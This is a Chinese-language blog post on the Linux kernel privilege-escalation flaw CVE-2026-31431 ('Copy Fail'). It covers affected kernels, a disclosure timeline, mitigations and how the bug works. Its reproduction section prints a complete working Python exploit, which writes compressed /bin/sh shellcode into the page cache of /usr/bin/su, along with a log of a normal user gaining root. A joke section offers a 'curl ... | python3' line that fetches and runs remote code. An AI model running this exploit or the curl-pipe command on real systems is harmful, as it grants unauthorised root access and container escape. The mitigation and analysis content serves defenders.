CVE-2026-31431: Copy Fail
2026年5月1日大约 4 分钟
参考:
- https://copy.fail/
- https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
- https://ip-ninja.com/blog/typosquatted-cve-2026-31431-fake-exploit
Description
在任何2017年后的Linux内核上,任意用户可通过利用AF_ALG加密接口与splice()系统调用,向任意可读文件的页缓存中写入受控的4字节数据。 这可以通过串改setuid二进制文件,从而获得root权限。 并且这操作带有容器逃离属性。
影响: 2017 ~ 2026 年编译的内核都受到影响。
| Distribution | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
时间线(Disclosure timeline):
- 2011
AF_ALG套接字引入内核,提供普通用户用内核加密算法 - 2017 内核“原地优化”代码:加解密时让输入和输出共用一块内存区域 (即零拷贝,但引入越界风险)
- 2026-03-23 Reported to Linux kernel security team by Theori 研究员 Taeyang Lee
- 据说研究员 Taeyang Lee 是使用 AI审计工具 Xtinc code 辅助发现该漏洞的
- 2026-03-24 Initial acknowledgment
- 2026-03-25 Patches proposed and reviewed
- 2026-04-01 Patch committed to mainline
- 2026-04-22 CVE-2026-31431 assigned
- 2026-04-29 Public disclosure (https://copy.fail/)
- Theori / Xint Code 公开披露: https://xint.io/blog/copy-fail-linux-distributions
- PoC(Proof of Concept,概念验证) Demo: https://github.com/theori-io/copy-fail-CVE-2026-31431
- The Register 报道: https://www.theregister.com/2026/04/30/linux_cryptographic_code_flaw/
- CVE-2026-31431 Linux Copy Fail 史诗级提权漏洞分析: https://xingwangzhe.fun/posts/cve-2026-31431-copy-fail/
复现
python版本:
[xx@xx ~]$ id
uid=1001(xx) gid=1001(xx) groups=1001(xx) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[xx@xx ~]$ uname -a
Linux xx 6.15.7-200.fc42.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 17 17:57:16 UTC 2025 x86_64 GNU/Linux
[xx@xx ~]$ cat /etc/os-release
NAME="Fedora Linux"
VERSION="42 (Adams)"
RELEASE_TYPE=stable
ID=fedora
VERSION_ID=42
VERSION_CODENAME=""
PLATFORM_ID="platform:f42"
PRETTY_NAME="Fedora Linux 42 (Adams)"
ANSI_COLOR="0;38;2;60;110;180"
LOGO=fedora-logo-icon
CPE_NAME="cpe:/o:fedoraproject:fedora:42"
DEFAULT_HOSTNAME="fedora"
HOME_URL="https://fedoraproject.org/"
DOCUMENTATION_URL="https://docs.fedoraproject.org/en-US/fedora/f42/"
SUPPORT_URL="https://ask.fedoraproject.org/"
BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Fedora"
REDHAT_BUGZILLA_PRODUCT_VERSION=42
REDHAT_SUPPORT_PRODUCT="Fedora"
REDHAT_SUPPORT_PRODUCT_VERSION=42
SUPPORT_END=2026-05-13
[xx@xx ~]$ cat copy_fail_exp.py
# https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py
#!/usr/bin/env python3
import os
import zlib
import socket
def str2b(x):
# 将十六进制字符串转换为字节对象
return bytes.fromhex(x)
playload="78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
playload_bytes=str2b(playload) # b'x\xda\xabw\xf5qcbdd\x80\x01&\x06;\x06\x10\xaf\x82\xc1\x01\xccw`\xc0\x04\x0e\x0c\x16\x0c0\x1d \x9a\x15M\x16\x99\x9e\x07\xe5\xc1h\x06\x01\x08ex\xc0\xf0\xff\x86L~V\x8f^[~\x10\xf7[\x96u\xc4L~V\xc3\xffY6\x11\xfc\xac\xfaI\x99y\xfa\xc5\x19\x0c\x0c\x0c\x002\xc3\x10\xd3'
playload_bytes = zlib.decompress(playload_bytes) # b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00'
# 利用 linux 的 splice 系统调用,把只读文件在页缓存里的内存地址(引用)放入内核加密管道。
# 利用 authencesn 算法失误,越界向相邻的页缓存写入 4 字节数据。
def authencesn_by_splice(f, index, playload_part):
a = socket.socket(38, 5, 0);
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"));
h = 279;
a.setsockopt(h, 1, str2b('0800010000000010'+'0'*64));
a.setsockopt(h, 5, None, 4);
u, _ = a.accept();
o = index + 4;
i = str2b('00');
u.sendmsg(
[b"A" * 4 + playload_part],
[(h,3,i*4), (h,2,b'\x10'+i*19), (h,4,b'\x08'+i*3), ],
32768
);
r, w = os.pipe();
os.splice(f, w, o, offset_src=0);
os.splice(r, u.fileno(), o)
try:
u.recv(8 + index)
except:
0
f = os.open("/usr/bin/su", 0); # 把文件引入内存
i = 0;
while i < len(playload_bytes):
authencesn_by_splice(f, i, playload_bytes[i:i+4]);
i += 4
# 触发内存页中已被篡改的命令程序
os.system("su")
[xx@xx ~]$ python3 copy_fail_exp.py # <----------------------------- 关键步骤
[root@xx xx]#
[root@xx xx]# whoami # <-------------------------------------------- 提权成功
root
[root@xx xx]# id
uid=0(root) gid=1001(xx) groups=1001(xx) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023rust版本: https://github.com/Xerxes-2/CVE-2026-31431-rs
规避
禁用
algif_aead模块# 修复 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true # 验证 lsmod | grep 'algif_aead' # 无输出 cat /etc/modprobe.d/disable-algif.confselinux 禁止访问
/proc/crypto—— 如安卓系统有严格控制升级内核 (截至 2026 年 4 月 30 日,官方补丁已发布)
Debian / Ubuntusudo apt update && sudo apt upgrade linux-image-generic sudo rebootRHEL / Fedora / CentOS Streamsudo dnf update kernel sudo reboot
原理
1、 页缓存(Page Cache) —— 旨在加速全系统的读写访问速度,Linux会将常用文件内容放到内存里,这个共享内存就是页缓存。
2、 利用 linux 的 splice 系统调用,把只读文件在页缓存里的内存地址(引用)放入内核加密管道。
3、 内核“原地优化”代码发力,让内核加解密操作同一个内存地址。
4、 利用 authencesn 算法失误,越界向相邻的页缓存写入 4 字节数据。 —— 于是,任何用户都可以修改系统任何位置的页缓存内容。
二进制文件 → splice → 管道 → AF_ALG → authencesn 越界写 4 字节 → 修改该文件的页缓存另外:
- 因为改的是内存,而不是磁盘文件,所以非常隐蔽,常规完整性工具查不到。
- 而且页缓存在宿主机上共享,所以还能跨容器“污染”宿主机。 —— 对比 “Dirty Pipe”、“Dirty Cow” 漏洞,本漏洞可谓“零成本”。
搞笑
1、 centos7 不受影响
2、 Linux 密码找回教程:(信创机器有效~)
curl https://copy.fail/exp | python3 && su
passwd root